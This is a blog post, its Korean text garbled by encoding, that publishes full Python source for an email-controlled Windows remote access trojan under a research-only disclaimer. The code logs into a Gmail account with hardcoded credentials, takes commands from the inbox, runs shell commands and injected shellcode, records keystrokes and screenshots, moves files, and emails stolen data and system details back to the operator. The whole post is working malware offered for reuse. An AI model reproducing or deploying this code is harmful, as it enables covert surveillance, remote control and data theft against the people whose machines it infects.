Malware

python ์•…์„ฑ์ฝ”๋“œ ์ƒ˜ํ”Œ์ž…๋‹ˆ๋‹ค.

๐“›๐“พ๐“ฌ๐“ฎ๐“ฝ๐“ฎ_๐“ข๐“ฝ๐“ฎ๐“ต๐“ต๐“ช 2016. 12. 14.
728x90
๋ฐ˜์‘ํ˜•

python ์•…์„ฑ์ฝ”๋“œ ์ƒ˜ํ”Œ์ž…๋‹ˆ๋‹ค.


๋ถ„์„ ๋˜๋Š” ์—ฐ๊ตฌ ๋ชฉ์ ์œผ๋กœ๋งŒ ์‚ฌ์šฉํ•˜์‹œ๊ธฐ ๋ฐ”๋ž๋‹ˆ๋‹ค. ๋ชจ๋“  ์ฑ…์ž„์€ ์‚ฌ์šฉ์ž ๋ณธ์ธ์—๊ฒŒ ์žˆ์Šต๋‹ˆ๋‹ค.


  1. import subprocess
  2. import sys
  3. import os
  4. import base64
  5. import binascii
  6. import threading
  7. import time
  8. import random
  9. import string
  10. import imaplib
  11. import email
  12. import uuid
  13. import platform
  14. import ctypes
  15. import json
  16. #import logging
  17.  
  18. #from traceback import print_exc, format_exc
  19. from base64 import b64decode
  20. from smtplib import SMTP
  21. from email.MIMEMultipart import MIMEMultipart
  22. from email.MIMEBase import MIMEBase
  23. from email.MIMEText import MIMEText
  24. from email import Encoders
  25. from struct import pack
  26. from zlib import compress, crc32
  27. from ctypes import c_void_p, c_int, create_string_buffer, sizeof, windll, Structure, POINTER, WINFUNCTYPE, CFUNCTYPE, POINTER
  28. from ctypes.wintypes import BOOL, DOUBLE, DWORD, HBITMAP, HDC, HGDIOBJ, HWND, INT, LPARAM, LONG, RECT, UINT, WORD, MSG
  29.  
  30. #######################################
  31. gmail_user = 'gcat.is.the.shit@gmail.com'
  32. gmail_pwd = 'veryc00lp@ssw0rd'
  33. server = 'smtp.gmail.com'
  34. server_port = 587
  35. #######################################
  36.  
  37. #Prints error messages and info to stdout
  38. #verbose = True
  39. #log_level = 20
  40.  
  41. #if verbose is True:
  42. #    log_level = 10
  43.  
  44. #logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
  45.  
  46. #generates a unique uuid
  47. uniqueid = str(uuid.uuid5(uuid.NAMESPACE_DNS, str(uuid.getnode())))
  48.  
  49. WH_KEYBOARD_LL=13
  50. WM_KEYDOWN=0x0100
  51. CTRL_CODE = 162
  52.  
  53. ### Following code was stolen from python-mss https://github.com/BoboTiG/python-mss ###
  54. class BITMAPINFOHEADER(Structure):
  55.     _fields_ = [('biSize', DWORD), ('biWidth', LONG), ('biHeight', LONG),
  56.                 ('biPlanes', WORD), ('biBitCount', WORD),
  57.                 ('biCompression', DWORD), ('biSizeImage', DWORD),
  58.                 ('biXPelsPerMeter', LONG), ('biYPelsPerMeter', LONG),
  59.                 ('biClrUsed', DWORD), ('biClrImportant', DWORD)]
  60.  
  61. class BITMAPINFO(Structure):
  62.     _fields_ = [('bmiHeader', BITMAPINFOHEADER), ('bmiColors', DWORD * 3)]
  63.  
  64. class screenshot(threading.Thread):
  65.     ''' Mutliple ScreenShots implementation for Microsoft Windows. '''
  66.  
  67.     def __init__(self, jobid):
  68.         ''' Windows initialisations. '''
  69.         threading.Thread.__init__(self)
  70.         self.jobid = jobid
  71.         self.daemon = True
  72.         self._set_argtypes()
  73.         self._set_restypes()
  74.         self.start()
  75.  
  76.     def _set_argtypes(self):
  77.         ''' Functions arguments. '''
  78.  
  79.         self.MONITORENUMPROC = WINFUNCTYPE(INT, DWORD, DWORD, POINTER(RECT),
  80.                                            DOUBLE)
  81.         windll.user32.GetSystemMetrics.argtypes = [INT]
  82.         windll.user32.EnumDisplayMonitors.argtypes = [HDC, c_void_p,
  83.                                                       self.MONITORENUMPROC,
  84.                                                       LPARAM]
  85.         windll.user32.GetWindowDC.argtypes = [HWND]
  86.         windll.gdi32.CreateCompatibleDC.argtypes = [HDC]
  87.         windll.gdi32.CreateCompatibleBitmap.argtypes = [HDC, INT, INT]
  88.         windll.gdi32.SelectObject.argtypes = [HDC, HGDIOBJ]
  89.         windll.gdi32.BitBlt.argtypes = [HDC, INT, INT, INT, INT, HDC, INT, INT,
  90.                                         DWORD]
  91.         windll.gdi32.DeleteObject.argtypes = [HGDIOBJ]
  92.         windll.gdi32.GetDIBits.argtypes = [HDC, HBITMAP, UINT, UINT, c_void_p,
  93.                                            POINTER(BITMAPINFO), UINT]
  94.  
  95.     def _set_restypes(self):
  96.         ''' Functions return type. '''
  97.  
  98.         windll.user32.GetSystemMetrics.restypes = INT
  99.         windll.user32.EnumDisplayMonitors.restypes = BOOL
  100.         windll.user32.GetWindowDC.restypes = HDC
  101.         windll.gdi32.CreateCompatibleDC.restypes = HDC
  102.         windll.gdi32.CreateCompatibleBitmap.restypes = HBITMAP
  103.         windll.gdi32.SelectObject.restypes = HGDIOBJ
  104.         windll.gdi32.BitBlt.restypes = BOOL
  105.         windll.gdi32.GetDIBits.restypes = INT
  106.         windll.gdi32.DeleteObject.restypes = BOOL
  107.  
  108.     def enum_display_monitors(self, screen=-1):
  109.         ''' Get positions of one or more monitors.
  110.            Returns a dict with minimal requirements.
  111.        '''
  112.  
  113.         if screen == -1:
  114.             SM_XVIRTUALSCREEN, SM_YVIRTUALSCREEN = 76, 77
  115.             SM_CXVIRTUALSCREEN, SM_CYVIRTUALSCREEN = 78, 79
  116.             left = windll.user32.GetSystemMetrics(SM_XVIRTUALSCREEN)
  117.             right = windll.user32.GetSystemMetrics(SM_CXVIRTUALSCREEN)
  118.             top = windll.user32.GetSystemMetrics(SM_YVIRTUALSCREEN)
  119.             bottom = windll.user32.GetSystemMetrics(SM_CYVIRTUALSCREEN)
  120.             yield ({
  121.                 b'left'int(left),
  122.                 b'top'int(top),
  123.                 b'width'int(right - left),
  124.                 b'height'int(bottom - top)
  125.             })
  126.         else:
  127.  
  128.             def _callback(monitor, dc, rect, data):
  129.                 ''' Callback for MONITORENUMPROC() function, it will return
  130.                    a RECT with appropriate values.
  131.                '''
  132.                 rct = rect.contents
  133.                 monitors.append({
  134.                     b'left'int(rct.left),
  135.                     b'top'int(rct.top),
  136.                     b'width'int(rct.right - rct.left),
  137.                     b'height'int(rct.bottom - rct.top)
  138.                 })
  139.                 return 1
  140.  
  141.             monitors = []
  142.             callback = self.MONITORENUMPROC(_callback)
  143.             windll.user32.EnumDisplayMonitors(0, 0, callback, 0)
  144.             for mon in monitors:
  145.                 yield mon
  146.  
  147.     def get_pixels(self, monitor):
  148.         ''' Retrieve all pixels from a monitor. Pixels have to be RGB.
  149.  
  150.            [1] A bottom-up DIB is specified by setting the height to a
  151.            positive number, while a top-down DIB is specified by
  152.            setting the height to a negative number.
  153.            https://msdn.microsoft.com/en-us/library/ms787796.aspx
  154.            https://msdn.microsoft.com/en-us/library/dd144879%28v=vs.85%29.aspx
  155.        '''
  156.  
  157.         width, height = monitor[b'width'], monitor[b'height']
  158.         left, top = monitor[b'left'], monitor[b'top']
  159.         SRCCOPY = 0xCC0020
  160.         DIB_RGB_COLORS = BI_RGB = 0
  161.         srcdc = memdc = bmp = None
  162.  
  163.         try:
  164.             bmi = BITMAPINFO()
  165.             bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER)
  166.             bmi.bmiHeader.biWidth = width
  167.             bmi.bmiHeader.biHeight = -height  # Why minus? See [1]
  168.             bmi.bmiHeader.biPlanes = 1  # Always 1
  169.             bmi.bmiHeader.biBitCount = 24
  170.             bmi.bmiHeader.biCompression = BI_RGB
  171.             buffer_len = height * width * 3
  172.             self.image = create_string_buffer(buffer_len)
  173.             srcdc = windll.user32.GetWindowDC(0)
  174.             memdc = windll.gdi32.CreateCompatibleDC(srcdc)
  175.             bmp = windll.gdi32.CreateCompatibleBitmap(srcdc, width, height)
  176.             windll.gdi32.SelectObject(memdc, bmp)
  177.             windll.gdi32.BitBlt(memdc, 0, 0, width, height, srcdc, left, top,
  178.                                 SRCCOPY)
  179.             bits = windll.gdi32.GetDIBits(memdc, bmp, 0, height, self.image,
  180.                                           bmi, DIB_RGB_COLORS)
  181.             if bits != height:
  182.                 raise ScreenshotError('MSS: GetDIBits() failed.')
  183.         finally:
  184.             # Clean up
  185.             if srcdc:
  186.                 windll.gdi32.DeleteObject(srcdc)
  187.             if memdc:
  188.                 windll.gdi32.DeleteObject(memdc)
  189.             if bmp:
  190.                 windll.gdi32.DeleteObject(bmp)
  191.  
  192.         # Replace pixels values: BGR to RGB
  193.         self.image[2:buffer_len:3], self.image[0:buffer_len:3] = \
  194.             self.image[0:buffer_len:3], self.image[2:buffer_len:3]
  195.         return self.image
  196.  
  197.     def save(self,
  198.              output='screenshot-%d.png',
  199.              screen=-1,
  200.              callback=lambda *x: True):
  201.         ''' Grab a screenshot and save it to a file.
  202.  
  203.            Parameters:
  204.             - output - string - the output filename. It can contain '%d' which
  205.                                 will be replaced by the monitor number.
  206.             - screen - int - grab one screenshot of all monitors (screen=-1)
  207.                              grab one screenshot by monitor (screen=0)
  208.                              grab the screenshot of the monitor N (screen=N)
  209.             - callback - function - in case where output already exists, call
  210.                                     the defined callback function with output
  211.                                     as parameter. If it returns True, then
  212.                                     continue; else ignores the monitor and
  213.                                     switches to ne next.
  214.  
  215.            This is a generator which returns created files.
  216.        '''
  217.  
  218.         # Monitors screen shots!
  219.         for i, monitor in enumerate(self.enum_display_monitors(screen)):
  220.             if screen <= 0 or (screen > 0 and i + 1 == screen):
  221.                 fname = output
  222.                 if '%d' in output:
  223.                     fname = output.replace('%d', str(i + 1))
  224.                 callback(fname)
  225.                 self.save_img(data=self.get_pixels(monitor),
  226.                               width=monitor[b'width'],
  227.                               height=monitor[b'height'],
  228.                               output=fname)
  229.                 yield fname
  230.  
  231.     def save_img(self, data, width, height, output):
  232.         ''' Dump data to the image file.
  233.            Pure python PNG implementation.
  234.            Image represented as RGB tuples, no interlacing.
  235.            http://inaps.org/journal/comment-fonctionne-le-png
  236.        '''
  237.  
  238.         zcrc32 = crc32
  239.         zcompr = compress
  240.         len_sl = width * 3
  241.         scanlines = b''.join(
  242.             [b'0' + data[y * len_sl:y * len_sl + len_sl]
  243.              for y in range(height)])
  244.  
  245.         magic = pack(b'>8B', 137, 80, 78, 71, 13, 10, 26, 10)
  246.  
  247.         # Header: size, marker, data, CRC32
  248.         ihdr = [b'', b'IHDR', b'', b'']
  249.         ihdr[2] = pack(b'>2I5B', width, height, 8, 2, 0, 0, 0)
  250.         ihdr[3] = pack(b'>I', zcrc32(b''.join(ihdr[1:3])) & 0xffffffff)
  251.         ihdr[0] = pack(b'>I', len(ihdr[2]))
  252.  
  253.         # Data: size, marker, data, CRC32
  254.         idat = [b'', b'IDAT', b'', b'']
  255.         idat[2] = zcompr(scanlines, 9)
  256.         idat[3] = pack(b'>I', zcrc32(b''.join(idat[1:3])) & 0xffffffff)
  257.         idat[0] = pack(b'>I', len(idat[2]))
  258.  
  259.         # Footer: size, marker, None, CRC32
  260.         iend = [b'', b'IEND', b'', b'']
  261.         iend[3] = pack(b'>I', zcrc32(iend[1]) & 0xffffffff)
  262.         iend[0] = pack(b'>I', len(iend[2]))
  263.  
  264.         with open(os.path.join(os.getenv('TEMP') + output), 'wb') as fileh:
  265.             fileh.write(
  266.                 magic + b''.join(ihdr) + b''.join(idat) + b''.join(iend))
  267.             return
  268.         err = 'MSS: error writing data to "{0}".'.format(output)
  269.         raise ScreenshotError(err)
  270.  
  271.     def run(self):
  272.         img_name = genRandomString() + '.png'
  273.         for filename in self.save(output=img_name, screen=-1):
  274.             sendEmail({'cmd''screenshot', 'res''Screenshot taken'}, jobid=self.jobid, attachment=[os.path.join(os.getenv('TEMP') + img_name)])
  275.  
  276. ### End of python-mss code ###
  277.  
  278. class msgparser:
  279.  
  280.     def __init__(self, msg_data):
  281.         self.attachment = None
  282.         self.getPayloads(msg_data)
  283.         self.getSubjectHeader(msg_data)
  284.         self.getDateHeader(msg_data)
  285.  
  286.     def getPayloads(self, msg_data):
  287.         for payload in email.message_from_string(msg_data[1][0][1]).get_payload():
  288.             if payload.get_content_maintype() == 'text':
  289.                 self.text = payload.get_payload()
  290.                 self.dict = json.loads(payload.get_payload())
  291.  
  292.             elif payload.get_content_maintype() == 'application':
  293.                 self.attachment = payload.get_payload()
  294.  
  295.     def getSubjectHeader(self, msg_data):
  296.         self.subject = email.message_from_string(msg_data[1][0][1])['Subject']
  297.  
  298.     def getDateHeader(self, msg_data):
  299.         self.date = email.message_from_string(msg_data[1][0][1])['Date']
  300.  
  301. class keylogger(threading.Thread):
  302.     #Stolen from http://earnestwish.com/2015/06/09/python-keyboard-hooking/
  303.     exit = False
  304.  
  305.     def __init__(self, jobid):
  306.         threading.Thread.__init__(self)
  307.         self.jobid = jobid
  308.         self.daemon = True
  309.         self.hooked  = None
  310.         self.keys = ''
  311.         self.start()
  312.  
  313.     def installHookProc(self, pointer):
  314.         self.hooked = ctypes.windll.user32.SetWindowsHookExA(
  315.                         WH_KEYBOARD_LL,
  316.                         pointer,
  317.                         windll.kernel32.GetModuleHandleW(None),
  318.                         0
  319.         )
  320.  
  321.         if not self.hooked:
  322.             return False
  323.         return True
  324.  
  325.     def uninstallHookProc(self):
  326.         if self.hooked is None:
  327.             return
  328.         ctypes.windll.user32.UnhookWindowsHookEx(self.hooked)
  329.         self.hooked = None
  330.  
  331.     def getFPTR(self, fn):
  332.         CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
  333.         return CMPFUNC(fn)
  334.  
  335.     def hookProc(self, nCode, wParam, lParam):
  336.         if wParam is not WM_KEYDOWN:
  337.             return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
  338.  
  339.         self.keys += chr(lParam[0])
  340.  
  341.         if len(self.keys) > 100:
  342.             sendEmail({'cmd''keylogger', 'res': r'{}'.format(self.keys)}, self.jobid)
  343.             self.keys = ''
  344.  
  345.         if (CTRL_CODE == int(lParam[0])) or (self.exit == True):
  346.             sendEmail({'cmd''keylogger', 'res''Keylogger stopped'}, self.jobid)
  347.             self.uninstallHookProc()
  348.  
  349.         return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
  350.  
  351.     def startKeyLog(self):
  352.          msg = MSG()
  353.          ctypes.windll.user32.GetMessageA(ctypes.byref(msg),0,0,0)
  354.  
  355.     def run(self):
  356.         pointer = self.getFPTR(self.hookProc)
  357.  
  358.         if self.installHookProc(pointer):
  359.             sendEmail({'cmd''keylogger', 'res''Keylogger started'}, self.jobid)
  360.             self.startKeyLog()
  361.  
  362. class download(threading.Thread):
  363.  
  364.     def __init__(self, jobid, filepath):
  365.         threading.Thread.__init__(self)
  366.         self.jobid = jobid
  367.         self.filepath = filepath
  368.  
  369.         self.daemon = True
  370.         self.start()
  371.  
  372.     def run(self):
  373.         try:
  374.             if os.path.exists(self.filepath) is True:
  375.                 sendEmail({'cmd''download', 'res''Success'}, self.jobid, [self.filepath])
  376.             else:
  377.                 sendEmail({'cmd''download', 'res''Path to file invalid'}, self.jobid)
  378.         except Exception as e:
  379.             sendEmail({'cmd''download', 'res''Failed: {}'.format(e)}, self.jobid)
  380.  
  381. class upload(threading.Thread):
  382.  
  383.     def __init__(self, jobid, dest, attachment):
  384.         threading.Thread.__init__(self)
  385.         self.jobid = jobid
  386.         self.dest = dest
  387.         self.attachment = attachment
  388.  
  389.         self.daemon = True
  390.         self.start()
  391.  
  392.     def run(self):
  393.         try:
  394.             with open(self.dest, 'wb') as fileh:
  395.                 fileh.write(b64decode(self.attachment))
  396.             sendEmail({'cmd''upload', 'res''Success'}, self.jobid)
  397.         except Exception as e:
  398.             sendEmail({'cmd''upload', 'res''Failed: {}'.format(e)}, self.jobid)
  399.  
  400. class lockScreen(threading.Thread):
  401.  
  402.     def __init__(self, jobid):
  403.         threading.Thread.__init__(self)
  404.         self.jobid = jobid
  405.  
  406.         self.daemon = True
  407.         self.start()
  408.  
  409.     def run(self):
  410.         try:
  411.             ctypes.windll.user32.LockWorkStation()
  412.             sendEmail({'cmd''lockscreen', 'res''Success'}, jobid=self.jobid)
  413.         except Exception as e:
  414.             #if verbose == True: print print_exc()
  415.             pass
  416.  
  417. class execShellcode(threading.Thread):
  418.  
  419.     def __init__(self, shellc, jobid):
  420.         threading.Thread.__init__(self)
  421.         self.shellc = shellc
  422.         self.jobid = jobid
  423.  
  424.         self.daemon = True
  425.         self.start()
  426.  
  427.     def run(self):
  428.         try:
  429.             shellcode = bytearray(self.shellc)
  430.  
  431.             ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
  432.                                                       ctypes.c_int(len(shellcode)),
  433.                                                       ctypes.c_int(0x3000),
  434.                                                       ctypes.c_int(0x40))
  435.  
  436.             buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
  437.  
  438.             ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
  439.  
  440.             ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
  441.                                                      ctypes.c_int(0),
  442.                                                      ctypes.c_int(ptr),
  443.                                                      ctypes.c_int(0),
  444.                                                      ctypes.c_int(0),
  445.                                                      ctypes.pointer(ctypes.c_int(0)))
  446.  
  447.             ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
  448.  
  449.         except Exception as e:
  450.             #if verbose == True: print_exc()
  451.             pass
  452.  
  453. class execCmd(threading.Thread):
  454.  
  455.     def __init__(self, command, jobid):
  456.         threading.Thread.__init__(self)
  457.         self.command = command
  458.         self.jobid = jobid
  459.  
  460.         self.daemon = True
  461.         self.start()
  462.  
  463.     def run(self):
  464.         try:
  465.             proc = subprocess.Popen(self.command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  466.             stdout_value = proc.stdout.read()
  467.             stdout_value += proc.stderr.read()
  468.  
  469.             sendEmail({'cmd'self.command, 'res': stdout_value}, jobid=self.jobid)
  470.         except Exception as e:
  471.             #if verbose == True: print_exc()
  472.             pass
  473.  
  474. def genRandomString(slen=10):
  475.     return ''.join(random.sample(string.ascii_letters + string.digits, slen))
  476.  
  477. def isAdmin():
  478.     return ctypes.windll.shell32.IsUserAnAdmin()
  479.  
  480. def getSysinfo():
  481.     return '{}-{}'.format(platform.platform(), os.environ['PROCESSOR_ARCHITECTURE'])
  482.  
  483. def detectForgroundWindows():
  484.     #Stolen fom https://sjohannes.wordpress.com/2012/03/23/win32-python-getting-all-window-titles/
  485.     EnumWindows = ctypes.windll.user32.EnumWindows
  486.     EnumWindowsProc = ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_int))
  487.     GetWindowText = ctypes.windll.user32.GetWindowTextW
  488.     GetWindowTextLength = ctypes.windll.user32.GetWindowTextLengthW
  489.     IsWindowVisible = ctypes.windll.user32.IsWindowVisible
  490.  
  491.     titles = []
  492.     def foreach_window(hwnd, lParam):
  493.         if IsWindowVisible(hwnd):
  494.             length = GetWindowTextLength(hwnd)
  495.             buff = ctypes.create_unicode_buffer(length + 1)
  496.             GetWindowText(hwnd, buff, length + 1)
  497.             titles.append(buff.value)
  498.         return True
  499.  
  500.     EnumWindows(EnumWindowsProc(foreach_window), 0)
  501.  
  502.     return titles
  503.  
  504. class sendEmail(threading.Thread):
  505.  
  506.     def __init__(self, text, jobid='', attachment=[], checkin=False):
  507.         threading.Thread.__init__(self)
  508.         self.text = text
  509.         self.jobid = jobid
  510.         self.attachment = attachment
  511.         self.checkin = checkin
  512.         self.daemon = True
  513.         self.start()
  514.  
  515.     def run(self):
  516.         sub_header = uniqueid
  517.         if self.jobid:
  518.             sub_header = 'imp:{}:{}'.format(uniqueid, self.jobid)
  519.         elif self.checkin:
  520.             sub_header = 'checkin:{}'.format(uniqueid)
  521.  
  522.         msg = MIMEMultipart()
  523.         msg['From'] = sub_header
  524.         msg['To'] = gmail_user
  525.         msg['Subject'] = sub_header
  526.  
  527.         message_content = json.dumps({'fgwindow': detectForgroundWindows(), 'sys': getSysinfo(), 'admin': isAdmin(), 'msg'self.text})
  528.         msg.attach(MIMEText(str(message_content)))
  529.  
  530.         for attach in self.attachment:
  531.             if os.path.exists(attach) == True:
  532.                 part = MIMEBase('application', 'octet-stream')
  533.                 part.set_payload(open(attach, 'rb').read())
  534.                 Encoders.encode_base64(part)
  535.                 part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach)))
  536.                 msg.attach(part)
  537.  
  538.         while True:
  539.             try:
  540.                 mailServer = SMTP()
  541.                 mailServer.connect(server, server_port)
  542.                 mailServer.starttls()
  543.                 mailServer.login(gmail_user,gmail_pwd)
  544.                 mailServer.sendmail(gmail_user, gmail_user, msg.as_string())
  545.                 mailServer.quit()
  546.                 break
  547.             except Exception as e:
  548.                 #if verbose == True: print_exc()
  549.                 time.sleep(10)
  550.  
  551. def checkJobs():
  552.     #Here we check the inbox for queued jobs, parse them and start a thread
  553.  
  554.     while True:
  555.  
  556.         try:
  557.             c = imaplib.IMAP4_SSL(server)
  558.             c.login(gmail_user, gmail_pwd)
  559.             c.select("INBOX")
  560.  
  561.             typ, id_list = c.uid('search', None, "(UNSEEN SUBJECT 'gcat:{}')".format(uniqueid))
  562.  
  563.             for msg_id in id_list[0].split():
  564.  
  565.                 #logging.debug("[checkJobs] parsing message with uid: {}".format(msg_id))
  566.  
  567.                 msg_data = c.uid('fetch', msg_id, '(RFC822)')
  568.                 msg = msgparser(msg_data)
  569.                 jobid = msg.subject.split(':')[2]
  570.  
  571.                 if msg.dict:
  572.                     cmd = msg.dict['cmd'].lower()
  573.                     arg = msg.dict['arg']
  574.  
  575.                     #logging.debug("[checkJobs] CMD: {} JOBID: {}".format(cmd, jobid))
  576.  
  577.                     if cmd == 'execshellcode':
  578.                         execShellcode(arg, jobid)
  579.  
  580.                     elif cmd == 'download':
  581.                         download(jobid, arg)
  582.  
  583.                     elif cmd == 'upload':
  584.                         upload(jobid, arg, msg.attachment)
  585.  
  586.                     elif cmd == 'screenshot':
  587.                         screenshot(jobid)
  588.  
  589.                     elif cmd == 'cmd':
  590.                         execCmd(arg, jobid)
  591.  
  592.                     elif cmd == 'lockscreen':
  593.                         lockScreen(jobid)
  594.  
  595.                     elif cmd == 'startkeylogger':
  596.                         keylogger.exit = False
  597.                         keylogger(jobid)
  598.  
  599.                     elif cmd == 'stopkeylogger':
  600.                         keylogger.exit = True
  601.  
  602.                     elif cmd == 'forcecheckin':
  603.                         sendEmail("Host checking in as requested", checkin=True)
  604.  
  605.                     else:
  606.                         raise NotImplementedError
  607.  
  608.             c.logout()
  609.  
  610.             time.sleep(10)
  611.  
  612.         except Exception as e:
  613.             #logging.debug(format_exc())
  614.             time.sleep(10)
  615.  
  616. if __name__ == '__main__':
  617.     sendEmail("0wn3d!", checkin=True)
  618.     try:
  619.         checkJobs()
  620.     except KeyboardInterrupt:
  621.         pass


728x90
๋ฐ˜์‘ํ˜•

'Malware' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

Pharming malware ์‹œ์—ฐ์ž…๋‹ˆ๋‹ค.  (0) 2016.12.15
์•…์„ฑ์ฝ”๋“œ ์ˆ˜์ง‘ ๋ฐ ๋ถ„์„ ๋ฐฉ๋ฒ•  (0) 2015.09.03

๋Œ“๊ธ€